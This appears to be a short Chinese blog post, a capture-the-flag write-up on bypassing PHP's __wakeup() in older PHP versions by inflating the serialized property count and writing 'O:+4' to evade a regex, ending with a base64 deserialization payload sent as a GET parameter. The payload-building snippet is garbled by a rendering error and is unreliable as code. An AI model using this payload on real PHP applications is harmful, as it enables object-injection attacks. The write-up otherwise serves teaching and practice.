PHP-Wakeup魔术漏洞骚操作
起因
前兩天在攻防世界做題的時候,看到了一個Wakeup繞過的典型案例。正好拿來寫一篇隨筆記錄。
案例
進入后,我們得到題目代碼,我們現在需要讀一下這個代碼。
先對代碼進行一個審計
__wakeup()很容易繞過,只需要令序列化字符串中標識變量數量的值大于實 際變量即可繞過__wakeup()函數
_wakeup()的繞過,大概應該是PHP5<5.6.25,PHP7 < 7.0.10 的版本存在wakeup的漏洞。當反序列化中object的個數和之前的個數不等時,wakeup就會被繞過。
( 在反序列化執行之前,會先執行__wakeup這個魔術方法,所以需要繞過,當成員屬性數目大于實際數目時可繞過wakeup方法,正則匹配可以用+號來進行繞過。)
正則匹配這里匹配的是 O:4,我們用 O:+4 即可繞過(看到類似題才想到所以構造 payload
$a= new Demo(‘fl4g.php’);
b=serialize(a);
b=strreplace(′O:4′,′O:+4′,b);
KaTeX parse error: Expected '}', got 'EOF' at end of input: …ce('1:{','2:{',b);
echo base64_encode($b);
Flag
拿到Base64編碼后的反序列化字符串,TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
給網站進行get傳參,拿到flag
最后——【點擊查看網絡安全學習攻略】私信回復“資料”獲取
總結
以上是生活随笔為你收集整理的PHP-Wakeup魔术漏洞骚操作的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Apache Log4j2 RCE 命令
- 下一篇: 【web安全】记一次 Commons C